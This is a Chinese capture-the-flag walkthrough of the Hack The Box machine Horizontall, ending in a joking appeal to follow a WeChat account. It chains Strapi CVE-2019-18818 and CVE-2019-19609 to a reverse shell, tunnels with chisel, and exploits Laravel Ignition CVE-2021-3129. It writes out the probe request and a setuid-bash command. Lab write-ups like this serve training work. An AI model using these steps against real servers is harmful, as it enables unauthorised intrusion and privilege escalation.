靶场|Horizontall的一次简单渗透

作者: b1ue
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 靶场信息

在这里插入图片描述
话不多说,喜闻乐见的信息搜集部分
在这里插入图片描述
就开了俩端口,真有你的,瞅瞅80吧
在这里插入图片描述
小问题,改个hosts
在这里插入图片描述
在这里插入图片描述
没啥用,看起来是个静态页面,最后有个提交,发不出去包
在这里插入图片描述
扫扫路径,好家伙,也没啥用
在这里插入图片描述
开始扫子域名,所用字典如下

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-110000.txt

在这里插入图片描述
就扫出来一个,加hosts里看一眼
在这里插入图片描述
再次扫路径
在这里插入图片描述
在这里插入图片描述

0x02 入口

在这里插入图片描述
看到特征,优先搜一手,可以看到这个CVE-2019-18818有exp估计就是他了,找一手对应exp
在这里插入图片描述
最终搜到了这篇文章

https://thatsn0tmysite.wordpress.com/2019/11/15/x05/

其他exp地址:

https://packetstormsecurity.com/files/163950/Strapi-CMS-3.0.0-beta.17.4-Remote-Code-Execution.html

在这里插入图片描述
目标版本是17.4,此漏洞是17.5之前存在

直接用exp打,重置admin密码

[email protected]

检测账户是否存在,不存在,则显示 “邮箱不存在email does not exit”
在这里插入图片描述
若存在,则需要需要很长时间才能响应,我这里最终响应504
在这里插入图片描述

http://api-prod.horizontall.htb

在这里插入图片描述
在这里插入图片描述
发现返回了jwt,之后在搜索Strapi rce时发现了此脚本Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)(影响版本3.0.0-beta.17.8之前)(CVE-2019-19609),他可以利用TOKEN_JWT进行反弹shell

大致原理为:installPlugin和uninstallPlugin函数未校验用户输入的plugin到execa()进而执行系统命令。

https://www.exploit-db.com/exploits/50238

怎么刷新jwt令牌:只需要刷新页面,burp抓包即可,Authorization: Bearer 此处为JWT

在这里插入图片描述
大致看了一眼,就发个POST包,传两个headers:“User-Agent”和“Authorization”。POST参数 “plugin”

https://github.com/guglia001/CVE-2019-19609

在这里插入图片描述

看了一下,应该不是容器内,若是在docker内,则如下图左边所示
在这里插入图片描述
有python能出网,先把换成bash
在这里插入图片描述

0x03 反弹shell

本来想用tsh拿个稳定shell的,然后发现起不来,放弃了,开始曲线救国

使用 python 来转换为 交互式shell,分为以下两种方法

python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c "__import__('subprocess').call(['/bin/bash'])"

在这里插入图片描述

但是不能自动补全,可使用stty进行优化

Ctrl+z挂到后台(任务暂停),echo $TERM 获取 term值,stty raw -echo 关闭输入回显

我这里太卡了,还是直接bash操作了
在这里插入图片描述
还是直接想办法提权叭
在这里插入图片描述
内核版本有丶高,linux-exploit-suggester检测有CVE-2021-3156,但是判断并没有

在这里插入图片描述
看了眼gcc,无
在这里插入图片描述
所以用其他脚本检测是否可以提权

https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh

在这里插入图片描述
无果,看端口
在这里插入图片描述
curl访问一下此端口
在这里插入图片描述
呦呦呦,这不Laravel嘛,几天不见这么拉了

直接用chisel端口转发转出来

./chisel server -p 8001 --reverse
./chisel client htb分配的IP:8001 R:8000:127.0.0.1:8000

在这里插入图片描述
找exp

经典的laravel-debug-rce CVE-2021-3129

检测漏洞是否存在

我们发送如下数据包,页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式:

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Type: application/json
Content-Length: 168

{
    
    
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    
    
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

懒得装burp,懒狗发包法检测,

curl http://127.0.0.1:8000/_ignition/execute-solution -X POST -d @data.json --header "Content-Type: application/json" >> L1.txt

看到如下数据即为存在该漏洞,左图为burp发包的验证结果,右图为curl发包验证结果

在这里插入图片描述
直接exp打,游戏结束

https://github.com/nth347/CVE-2021-3129_exploit

在这里插入图片描述
结束了但还没完全结束,把bash加个权限,拿到root权限才是真的结束。

python3 exploit.py http://localhost:8000 Monolog/RCE1 "chmod +s /bin/bash;echo done"


在这里插入图片描述
在这里插入图片描述
hi,我是陈冠希,我遇到很坏很坏的人,公众号点关注300个,帮我回香港,你懂我意思嘛?

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/120835069